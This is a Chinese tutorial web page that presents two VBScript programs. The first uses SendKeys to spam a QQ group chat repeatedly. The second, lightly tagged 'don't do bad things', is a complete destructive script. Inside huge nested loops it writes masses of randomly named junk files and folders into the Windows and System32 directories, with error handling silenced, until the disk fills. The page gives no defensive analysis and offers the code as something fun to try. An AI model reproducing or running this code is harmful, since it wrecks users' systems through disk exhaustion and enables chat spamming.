服务器之家

服务器之家 > 正文

从一个VBS脚本学习一点点东西

时间:2019-11-20 22:35     来源/作者:VBS教程网

不知道是最近还是以前,反正就是这几天经常在网上看到一个刷QQ群的VBS代码。 

复制代码代码如下:


Set WshShell= WScript.createObject("WScript.Shell") 
WshShell.AppActivate "群 - Powers成员交流" 
for i=1 to 10 '要发的次数 
WScript.Sleep 500 '发送消息的时间间隔 
WshShell.SendKeys "^v" '要发的内容 
WshShell.SendKeys i '这里拿每条消息都不同,在后面加上i即循环的次数 
WshShell.SendKeys "%s" 
next 


这个代码里面解释的很清楚的啦~呵呵
其实就只是这么一点点就已经可以弄来我们做好几个好玩的东西了啦~比如:刷QQ聊天啊、刷网站啦~ 

由于比较感兴趣,所以找到个这样的代码:一个写硬盘的VBS脚本程序(不要做坏事哦)

复制代码代码如下:


on error resume next  
dim objdir,suijishu  
set objdir=wscript.createobject("scripting.filesystemobject")  
set windir=objdir.getspecialfolder(0)  
set sysdir=objdir.getspecialfolder(1)  
'开始程序  
for i=1 to 1000  
for j=1 to 1000  
for r=1 to 1000'------------------------------------------------------------------------------  
randomize  
y=int((122-65+1)*rnd+65)  
y1=int((122-65+1)*rnd+65)  
y2=int((122-65+1)*rnd+65)  
y3=int((122-65+1)*rnd+65)  
y4=int((122-65+1)*rnd+65)  
y5=int((122-65+1)*rnd+65)  
y6=int((122-65+1)*rnd+65)  
y7=int((122-65+1)*rnd+65)  
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------  
y9=int((122-65+1)*rnd+65)  
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)  
suijishu=int(rnd*10000)  
'创建windows文件  
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"'------------------------------------------------------------  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu'-----------------------------------------------------------------------  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------  
next  
a.close  
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next'--------------------------------------------------------------------------------------  
a.close  
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close'---------------------------------------------------------------------------------  

yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) '6  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close'----------------------------------------------------------------------------------  
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) '7  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) '8'---  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
'创建system文件------------------------------------------------------------------------------10  
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) '2------------------------------------------  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) '3  
set a=objdir.createtextfile(yang,true)'------------------------------------------------------  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) '4  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) '5  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"'------------------------------------------------  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) '6  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"'------------------------------------------------------------15  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) '7  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu'-------------------------------------------------------------------------  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) '8  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古风居委会首席执行官老杨同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------  
next  
a.close  
'创建windows文件夹  
yang=windir&""&f&"u"  
objdir.createfolder(yang)  
yang=windir&""&chr(y4)&chr(y2) '2  
objdir.createfolder(yang)  
yang=windir&""&chr(y)&chr(y9)&chr(y5) '3  
objdir.createfolder(yang)'-------------------------------------------------------------------  
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4  
objdir.createfolder(yang)  
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5  
objdir.createfolder(yang)  
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6  
objdir.createfolder(yang)  
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7  
objdir.createfolder(yang)  
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8  
objdir.createfolder(yang)'--------------------------------------------------------------------  

'创建system文件夹  
yang=sysdir&""&f&"n"  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y4)&chr(y2) '2  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y)&chr(y9)&chr(y5) '3  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4  
objdir.createfolder(yang)'---------------------------------------------------------------------  
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8  
objdir.createfolder(yang)  
next  
next  
next  
'老杨同志呕血巨著

标签:

相关文章

热门资讯

玄元剑仙肉身有什么用 玄元剑仙肉身境界等级划分
玄元剑仙肉身有什么用 玄元剑仙肉身境界等级划分 2019-06-21
男生常说24816是什么意思?女生说13579是什么意思?
男生常说24816是什么意思?女生说13579是什么意思? 2019-09-17
配置IIS网站web服务器的安全策略配置解决方案
配置IIS网站web服务器的安全策略配置解决方案 2019-05-23
Nginx服务器究竟是怎么执行PHP项目
Nginx服务器究竟是怎么执行PHP项目 2019-05-24
运维必须知道的关于云服务器的十个问题
运维必须知道的关于云服务器的十个问题 2019-05-24
返回顶部